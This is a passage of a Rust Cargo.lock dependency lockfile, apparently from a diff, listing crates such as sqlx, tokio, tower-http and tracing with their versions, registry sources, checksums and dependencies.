"serde_json" +version = "1.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4beec8bce849d58d06238cb50db2e1c417cfeafa4c63f692b15c82b7c80f8335" +dependencies = [ + "itoa", + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serial_test" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5bcc41d18f7a1d50525d080fd3e953be87c4f9f1a974f3c21798ca00d54ec15" +dependencies = [ + "lazy_static", + "parking_lot 0.11.2", + "serial_test_derive", +] + +[[package]] +name = "serial_test_derive" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2881bccd7d60fb32dfa3d7b3136385312f8ad75e2674aab2852867a09790cae8" +dependencies = [ + "proc-macro-error", + "proc-macro2", + "quote", + "rustversion", + "syn 1.0.109", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "942b4a808e05215192e39f4ab80813e599068285906cc91aa64f923db842bd5a" + +[[package]] +name = "socket2" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "spin" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" +dependencies = [ + "lock_api", +] + +[[package]] +name = "sqlformat" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4b7922be017ee70900be125523f38bdd644f4f06a1b16e8fa5a8ee8c34bffd4" +dependencies = [ + "itertools", + "nom", + "unicode_categories", +] + +[[package]] +name = "sqlx" +version = "0.5.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "551873805652ba0d912fec5bbb0f8b4cdd96baf8e2ebf5970e5671092966019b" +dependencies = [ + "sqlx-core", + "sqlx-macros", +] + +[[package]] +name = "sqlx-core" +version = "0.5.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e48c61941ccf5ddcada342cd59e3e5173b007c509e1e8e990dafc830294d9dc5" +dependencies = [ + "ahash", + "atoi", + "bitflags 1.3.2", + "byteorder", + "bytes 1.5.0", + "crc", + "crossbeam-queue", + "either", + "event-listener", + "flume 0.10.14", + "futures-channel", + "futures-core", + "futures-executor", + "futures-intrusive", + "futures-util", + "hashlink", + "hex", + "indexmap", + "itoa", + "libc", + "libsqlite3-sys", + "log", + "memchr", + "once_cell", + "paste", + "percent-encoding", + "rustls 0.19.1", + "sha2", + "smallvec", + "sqlformat", + "sqlx-rt", + "stringprep", + "thiserror", + "tokio-stream", + "url", + "webpki", + "webpki-roots 0.21.1", +] + +[[package]] +name = "sqlx-macros" +version = "0.5.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc0fba2b0cae21fc00fe6046f8baa4c7fcb49e379f0f592b04696607f69ed2e1" +dependencies = [ + "dotenv", + "either", + "heck", + "once_cell", + "proc-macro2", + "quote", + "sha2", + "sqlx-core", + "sqlx-rt", + "syn 1.0.109", + "url", +] + +[[package]] +name = "sqlx-rt" +version = "0.5.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4db708cd3e459078f85f39f96a00960bd841f66ee2a669e90bf36907f5a79aae" +dependencies = [ + "once_cell", + "tokio", + "tokio-rustls 0.22.0", +] + +[[package]] +name = "stringprep" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb41d74e231a107a1b4ee36bd1214b11285b77768d2e3824aedafa988fd36ee6" +dependencies = [ + "finl_unicode", + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "subtle" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23e78b90f2fcf45d3e842032ce32e3f2d1545ba6636271dcbf24fa306d87be7a" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "synstructure" +version = "0.12.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", + "unicode-xid", +] + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "tempfile" +version = "3.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5" +dependencies = [ + "cfg-if", + "fastrand", + "redox_syscall 0.4.1", + "rustix", + "windows-sys 0.48.0", +] + +[[package]] +name = "textwrap" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060" +dependencies = [ + "unicode-width", +] + +[[package]] +name = "thiserror" +version = "1.0.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9a7210f5c9a7156bb50aa36aed4c95afb51df0df00713949448cf9e97d382d2" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "266b2e40bc00e5a6c09c3584011e08b06f123c00362c92b975ba9843aaaa14b8" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "thread_local" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" +dependencies = [ + "cfg-if", + "once_cell", +] + +[[package]] +name = "tiff" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d172b0f4d3fba17ba89811858b9d3d97f928aece846475bbda076ca46736211" +dependencies = [ + "flate2", + "jpeg-decoder", + "weezl", +] + +[[package]] +name = "time" +version = "0.1.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca8a50ef2360fbd1eeb0ecd46795a87a19024eb4b53c5dc916ca1fd95fe62438" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "time" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4a34ab300f2dee6e562c10a046fc05e358b29f9bf92277f30c3c8d82275f6f5" +dependencies = [ + "deranged", + "itoa", + "powerfmt", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "time-macros" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ad70d68dba9e1f8aceda7aa6711965dfec1cac869f311a51bd08b3a2ccbce20" +dependencies = [ + "time-core", +] + +[[package]] +name = "tinytemplate" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be4d6b5f19ff7664e8c98d03e2139cb510db9b0a60b55f8e8709b689d939b6bc" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.33.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f38200e3ef7995e5ef13baec2f432a6da0aa9ac495b2c0e8f3b7eec2c92d653" +dependencies = [ + "backtrace", + "bytes 1.5.0", + "libc", + "mio", + "num_cpus", + "parking_lot 0.12.1", + "pin-project-lite", + "signal-hook-registry", + "socket2 0.5.5", + "tokio-macros", + "tracing", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-macros" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "tokio-rustls" +version = "0.22.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc6844de72e57df1980054b38be3a9f4702aba4858be64dd700181a8a6d0e1b6" +dependencies = [ + "rustls 0.19.1", + "tokio", + "webpki", +] + +[[package]] +name = "tokio-rustls" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" +dependencies = [ + "rustls 0.21.8", + "tokio", +] + +[[package]] +name = "tokio-stream" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842" +dependencies = [ + "futures-core", + "pin-project-lite", + "tokio", + "tokio-util", +] + +[[package]] +name = "tokio-tungstenite" +version = "0.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "212d5dcb2a1ce06d81107c3d0ffa3121fe974b73f068c8282cb1c32328113b6c" +dependencies = [ + "futures-util", + "log", + "tokio", + "tungstenite", +] + +[[package]] +name = "tokio-util" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" +dependencies = [ + "bytes 1.5.0", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", + "tracing", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "torrent-name-parser" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2db832ca29f7c5c063a8678bc82f50d50abd6c33af3246ab34a3169e5f5ee51" +dependencies = [ + "lazy_static", + "regex", +] + +[[package]] +name = "tower" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" +dependencies = [ + "futures-core", + "futures-util", + "pin-project", + "pin-project-lite", + "tokio", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-http" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61c5bb1d698276a2443e5ecfabc1008bf15a36c12e6a7176e7bf089ea9131140" +dependencies = [ + "async-compression", + "base64 0.21.5", + "bitflags 2.4.1", + "bytes 1.5.0", + "futures-core", + "futures-util", + "http 0.2.9", + "http-body 0.4.5", + "http-range-header", + "httpdate", + "iri-string", + "mime", + "mime_guess", + "percent-encoding", + "pin-project-lite", + "tokio", + "tokio-util", + "tower", + "tower-layer", + "tower-service", + "tracing", + "uuid 1.5.0", +] + +[[package]] +name = "tower-layer" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c20c8dbed6283a09604c3e69b4b7eeb54e298b8a600d4d5ecb5ad39de609f1d0" + +[[package]] +name = "tower-service" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-appender" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09d48f71a791638519505cefafe162606f706c25592e4bde4d97600c0195312e" +dependencies = [ + "crossbeam-channel", + "time 0.3.30", + "tracing-subscriber", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f751112709b4e791d8ce53e32c4ed2d353565a795ce84da2285393f41557bdf2" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-serde" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc6b213177105856957181934e4920de57730fc69bf42c37ee5bb664d406d9e1" +dependencies = [ + "serde", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30a651bc37f915e81f087d86e62a18eec5f79550c7faff886f7090b4ea757c77" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "serde", + "serde_json", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", + "tracing-serde", +] + +[[package]] +name = "try-lock" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" + +[[package]] +name = "tungstenite" +version = "0.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e3dac10fd62eaf6617d3a904ae222845979aec67c615d1c842b4002c7666fb9" +dependencies = [ + "byteorder", + "bytes 1.5.0", + "data-encoding", + "http 0.2.9", + "httparse", + "log", + "rand", + "sha1", + "thiserror", + "url", + "utf-8", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unicase" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7d2d4dafb69621809a81864c9c1b864479e1235c0dd4e199924b9742439ed89" +dependencies = [ + "version_check", +] + +[[package]] +name = "unicode-bidi" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" + +[[package]] +name = "unicode-width" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" + +[[package]] +name = "unicode-xid" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f962df74c8c05a667b5ee8bcf162993134c104e96440b663c8daa176dc772d8c" + +[[package]] +name = "unicode_categories" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39ec24b3121d976906ece63c9daad25b85969647682eee313cb5779fdd69e14e" + +[[package]] +name = "universal-hash" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f214e8f697e925001e66ec2c6e37a4ef93f0f78c2eed7814394e10c62025b05" +dependencies = [ + "generic-array", + "subtle", +] + +[[package]] +name = "untrusted" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "143b538f18257fac9cad154828a57c6bf5157e1aa604d4816b5995bf6de87ae5" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "uuid" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc5cf98d8186244414c848017f0e2676b3fcb46807f6668a97dfe67359a3c4b7" +dependencies = [ + "getrandom", +] + +[[package]] +name = "uuid" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88ad59a7560b41a70d191093a945f0b87bc1deeda46fb237479708a1d6b6cdfc" +dependencies = [ + "getrandom", +] + +[[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "walkdir" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.10.2+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.88" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7daec296f25a1bae309c0cd5c29c4b260e510e6d813c286b19eaadf409d40fce" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.88" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e397f4664c0e4e428e8313a469aaa58310d302159845980fd23b0f22a847f217" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.39", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9afec9963e3d0994cac82455b2b3502b81a7f40f9a0d32181f7528d9f4b43e02" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.88" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5961017b3b08ad5f3fe39f1e79877f8ee7c23c5e5fd5eb80de95abc41f1f16b2" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.88" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5353b8dab669f5e10f5bd76df26a9360c748f054f862ff5f3f8aae0c7fb3907" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.88" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d046c5d029ba91a1ed14da14dca44b68bf2f124cfbaf741c54151fdb3e0750b" + +[[package]] +name = "web-sys" +version = "0.3.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5db499c5f66323272151db0e666cd34f78617522fb0c1604d31a27c50c206a85" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki" +version = "0.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e38c0608262c46d4a56202ebabdeb094cef7e560ca7a226c6bf055188aa4ea" +dependencies = [ + "ring 0.16.20", + "untrusted 0.7.1", +] + +[[package]] +name = "webpki-roots" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aabe153544e473b775453675851ecc86863d2a81d786d741f6b76778f2a48940" +dependencies = [ + "webpki", +] + +[[package]] +name = "webpki-roots" +version = "0.25.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14247bb57be4f377dfb94c72830b8ce8fc6beac03cf4bf7b9732eadd414123fc" + +[[package]] +name = "weezl" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9193164d4de03a926d909d3bc7c30543cecb35400c02114792c2cae20d5e2dbb" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-core" +version = "0.51.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.45.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" +dependencies = [ + "windows-targets 0.42.2", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_i686_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 